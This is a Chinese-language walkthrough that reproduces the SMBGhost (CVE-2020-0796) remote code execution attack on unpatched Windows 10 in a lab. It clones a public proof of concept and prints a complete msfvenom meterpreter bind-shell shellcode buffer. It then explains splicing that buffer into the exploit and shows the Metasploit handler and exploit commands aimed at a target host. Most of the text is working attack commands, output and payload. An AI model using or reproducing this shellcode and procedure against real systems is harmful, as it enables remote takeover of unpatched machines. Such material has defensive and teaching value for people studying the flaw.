CVE-2020-0796（Windows SMBv3） RCE漏洞复现

CVE-2020-0796

攻击机：win10：192.168.205.1

靶机win10：192.168.205.132

关闭defender防火墙

0x01 影响版本

Windows 10 1903版本（用于基于x32的系统）
Windows 10 1903版（用于基于x64的系统）
Windows 10 1903版（用于基于ARM64的系统）
Windows Server 1903版（服务器核心安装）
Windows 10 1909版本（用于基于x32的系统）
Windows 10版本1909（用于基于x64的系统）
Windows 10 1909版（用于基于ARM64的系统）
Windows Server版本1909（服务器核心安装）

0x02 下载poc

C:\Users\Administrator\Desktop>git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
Cloning into 'SMBGhost_RCE_PoC'...
remote: Enumerating objects: 42, done.
remote: Counting objects: 100% (42/42), done.
remote: Compressing objects: 100% (32/32), done.
remote: Total 42 (delta 20), reused 23 (delta 9), pack-reused 0
Unpacking objects: 100% (42/42), 19.48 KiB | 124.00 KiB/s, done.

0x03 win10版本

没有KB4551762

0x04 msf生成shellcode

payload要正向监听

C:\Users\Administrator\Desktop\SMBGhost_RCE_PoC>msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python
F:/msf/embedded/lib/ruby/gems/2.6.0/gems/backports-3.15.0/lib/backports/std_lib.rb:9: warning: Win32API is deprecated after Ruby 1.9.1; use fiddle directly instead
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=10, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 546 (iteration=0)
x64/xor_dynamic chosen with final size 546
Payload size: 546 bytes
Final size of python file: 2657 bytes
buf =  b""
buf += b"\xeb\x27\x5b\x53\x5f\xb0\x81\xfc\xae\x75\xfd\x57\x59"
buf += b"\x53\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66"
buf += b"\x81\x3f\xcd\x39\x74\x07\x80\x3e\x81\x75\xea\xeb\xe6"
buf += b"\xff\xe1\xe8\xd4\xff\xff\xff\x05\x81\xf9\x4d\x84\xe1"
buf += b"\xf5\xfa\xfa\xfa\xed\xc9\x05\x05\x05\x44\x54\x44\x55"
buf += b"\x57\x54\x53\x4d\x34\xd7\x60\x4d\x8e\x57\x65\x4d\x8e"
buf += b"\x57\x1d\x4d\x8e\x57\x25\x4d\x8e\x77\x55\x4d\x0a\xb2"
buf += b"\x4f\x4f\x48\x34\xcc\x4d\x34\xc5\xa9\x39\x64\x79\x07"
buf += b"\x29\x25\x44\xc4\xcc\x08\x44\x04\xc4\xe7\xe8\x57\x44"
buf += b"\x54\x4d\x8e\x57\x25\x8e\x47\x39\x4d\x04\xd5\x63\x84"
buf += b"\x7d\x1d\x0e\x07\x0a\x80\x77\x05\x05\x05\x8e\x85\x8d"
buf += b"\x05\x05\x05\x4d\x80\xc5\x71\x62\x4d\x04\xd5\x55\x8e"
buf += b"\x4d\x1d\x41\x8e\x45\x25\x4c\x04\xd5\xe6\x53\x4d\xfa"
buf += b"\xcc\x44\x8e\x31\x8d\x4d\x04\xd3\x48\x34\xcc\x4d\x34"
buf += b"\xc5\xa9\x44\xc4\xcc\x08\x44\x04\xc4\x3d\xe5\x70\xf4"
buf += b"\x49\x06\x49\x21\x0d\x40\x3c\xd4\x70\xdd\x5d\x41\x8e"
buf += b"\x45\x21\x4c\x04\xd5\x63\x44\x8e\x09\x4d\x41\x8e\x45"
buf += b"\x19\x4c\x04\xd5\x44\x8e\x01\x8d\x4d\x04\xd5\x44\x5d"
buf += b"\x44\x5d\x5b\x5c\x5f\x44\x5d\x44\x5c\x44\x5f\x4d\x86"
buf += b"\xe9\x25\x44\x57\xfa\xe5\x5d\x44\x5c\x5f\x4d\x8e\x17"
buf += b"\xec\x4e\xfa\xfa\xfa\x58\x4c\xbb\x72\x76\x37\x5a\x36"
buf += b"\x37\x05\x05\x44\x53\x4c\x8c\xe3\x4d\x84\xe9\xa5\x04"
buf += b"\x05\x05\x4c\x8c\xe0\x4d\x34\xc5\x55\x55\x4c\xc2\xc1"
buf += b"\x07\x05\x14\x59\x44\x51\x4c\x8c\xe1\x49\x8c\xf4\x44"
buf += b"\xbf\x49\x72\x23\x02\xfa\xd0\x49\x8c\xef\x6d\x04\x04"
buf += b"\x05\x05\x5c\x44\xbf\x2c\x85\x6e\x05\xfa\xd0\x6f\x07"
buf += b"\x5c\x55\x55\x48\x34\xcc\x48\x34\xc5\x4d\xfa\xc5\x4d"
buf += b"\x8c\xc7\x44\xbf\xef\x0a\xda\xe5\xfa\xd0\x4d\x8c\xc2"
buf += b"\x6f\x15\x44\x5d\x49\x8c\xe7\x4d\x8c\xfc\x44\xbf\xc7"
buf += b"\xde\x32\x62\xfa\xd0\x4d\x34\xd7\x4d\x8c\xfc\x44\xbf"
buf += b"\xb2\xec\x3d\xfa\xfa\xd0\x48\x34\xc5\x4d\x34\xd7\x4d"
buf += b"\x8c\xfc\x44\xbf\x71\xe9\x3e\xe4\xfa\xd0\x4d\x8c\xfc"
buf += b"\x4d\x8c\xc2\x44\xbf\x70\x6b\x48\x64\xfa\xd0\x4d\x84"
buf += b"\xc1\xb5\x07\x05\x05\x4d\x86\xe9\x15\x4d\x8c\xe7\x48"
buf += b"\x34\xcc\x6f\x01\x44\x5d\x4d\x8c\xfc\x44\xbf\x07\xdc"
buf += b"\xcd\x5a\xfa\xd0\x4d\x86\xc1\x25\x5b\x8c\xf3\x6f\x45"
buf += b"\x44\x5c\x6d\x05\x15\x05\x05\x44\x5d\x4d\x8c\xf7\x4d"
buf += b"\x34\xcc\x44\xbf\x5d\xa1\x56\xe0\xfa\xd0\x4d\x8c\xc6"
buf += b"\x4c\x8c\xc2\x48\x34\xcc\x4c\x8c\xf5\x4d\x8c\xdf\x4d"
buf += b"\x8c\xfc\x44\xbf\x07\xdc\xcd\x5a\xfa\xd0\x4d\x04\xc6"
buf += b"\x4d\x2c\xc3\x4d\x80\xf3\x70\xe4\x44\xfa\xe2\x5d\x6f"
buf += b"\x05\x5c\x4c\xc2\xc7\xf5\xb0\xa7\x53\xfa\xd0\xcd\x39"

0x05 替换shellcode

先把msf中的buf全部替换为USER_PAYLOAD，然后把全部内容替换给exploit.py中的USER_PAYLOAD处

0x06 msf监听

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set rhost 192.168.205.132
rhost => 192.168.205.132
msf5 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 192.168.205.132:4444

0x07 执行exp

这里测试了2.x和3.x，3.x成功，2.x蓝了

python3 exploit.py -ip 192.168.205.132